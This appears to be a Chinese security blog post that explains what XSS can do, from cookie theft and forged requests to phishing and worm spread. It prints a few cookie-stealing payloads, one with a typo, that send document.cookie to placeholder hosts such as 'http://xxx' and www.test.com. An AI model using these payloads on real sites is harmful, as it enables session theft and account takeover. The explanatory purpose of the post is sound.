web基础漏洞-xss危害

xss的危害,可以从两方面理解。

一是xss是由脚本执行造成的,但是js脚本相对java等其他编程语言,其功能是受限的,比如无法在浏览器中读写本地文件。

二是对于xss注入点而言,一般并不意味着可以执行任意js代码,而是会受到敏感字符过滤、字符长度限制、防火墙等干扰,从而只能构造有限的js脚本。

具体而言,xss可以被用于执行以下的一些危害。

1、 获取用户敏感信息转发给攻击者

(1)获取用户信息一般要求在用户登录后进行。典型的就是转发登录凭证cookie

<img src=1 onerror='http://xxx/?cookies='+documnet.cookie>
new Image().src=".png?id=" + document.cookie
需要注意get请求的长度有限

(2)脚本读取信息

  • cookie数据
    • httponly标志无法脚本获取,secure标志无法通过http传输
    • cookie中不一定包含登录凭证cookie,还有token机制
    • 除了凭证cookie,cookie中还可能保存浏览记录、搜索记录、用户名等相关信息
  • 本地存储和会话存储数据
  • 地址栏数据, 包括路径参数、直接参数和hash部分
    • 有时候用户名和密码会通过url传递
    • 获取搜索关键词也是一种利用
  • 前后js变量
  • html元素的属性和文本
  • ajax获取

(3)转发信息

  • 通过直接的html元素或者js模拟,发出get请求。包括img.src,link.href,script.src,iframe.src等
  • form表单的直接html元素或js模拟,可以get或post请求
  • ajax
  • 不直接转发给攻击者,而是输出到站内的某公开位置,比如评论区。也可以尝试输出到第三方站点的公开位置

2、设置数据或伪造业务请求

利用脚本模拟用户操作,且是站内非跨域环境。理论上,如果没有长度等特别限制,可以提交所有用户可以提交的请求

比如账号注销、修改密码、文章的增删改查等操作

document.cookie="a=123"

3、作为肉鸡

攻击者利用受害者客户端,可以向任意网络上任意主机,发起攻击,并可以返回测试结果。典型的是ddos攻击。

为了持续控制,一般是使受害者浏览器基于ajax对外攻击,以及与攻击者联系。

4、消耗用户的计算资源

利用受害者用户的挖矿活动,当然也可能是直接恶意使得用户的浏览器卡顿或者死机

5、钓鱼

可以分为两类情况:

  • 在站内篡改信息,比如替换人物照片、修改联系人信息、替换支付二维码图片、修改链接地址、篡改网站发布的消息等,还可以要求填写资料、重新登录
  • 跳转到攻击者控制的网站,基于信任链传递而使用户相信跳转后的页面

6、恶意传播信息

在存在xss漏洞的网站内,借用受害者身份,直接发帖、发评论、发文章,或者向站内其他用户,发送和传播恶意信息

信息中还可以包含漏洞,比如xss、csrf等,即进行蠕虫传播

7、和其他漏洞类型结合

比如和csrf、会话固定结合

8、其他

获取用户客户端的信息,比如用户的操作系统、浏览器类型和版本、屏幕信息等。

据网上某些文档所述,攻击者还可以对受害者进行截屏和监听键盘等操作,但是本人未复现成功,似乎是需要特定类型和版本的浏览器,以及特定js库作为环境。

9、常用的一些基础payload

<script>(new%20Image()).src='http://www.test.com/a?cookie='%2bdocument.cookie</script>

 

posted @ 2023-10-20 20:12  挖洞404  阅读(127)  评论(0编辑  收藏  举报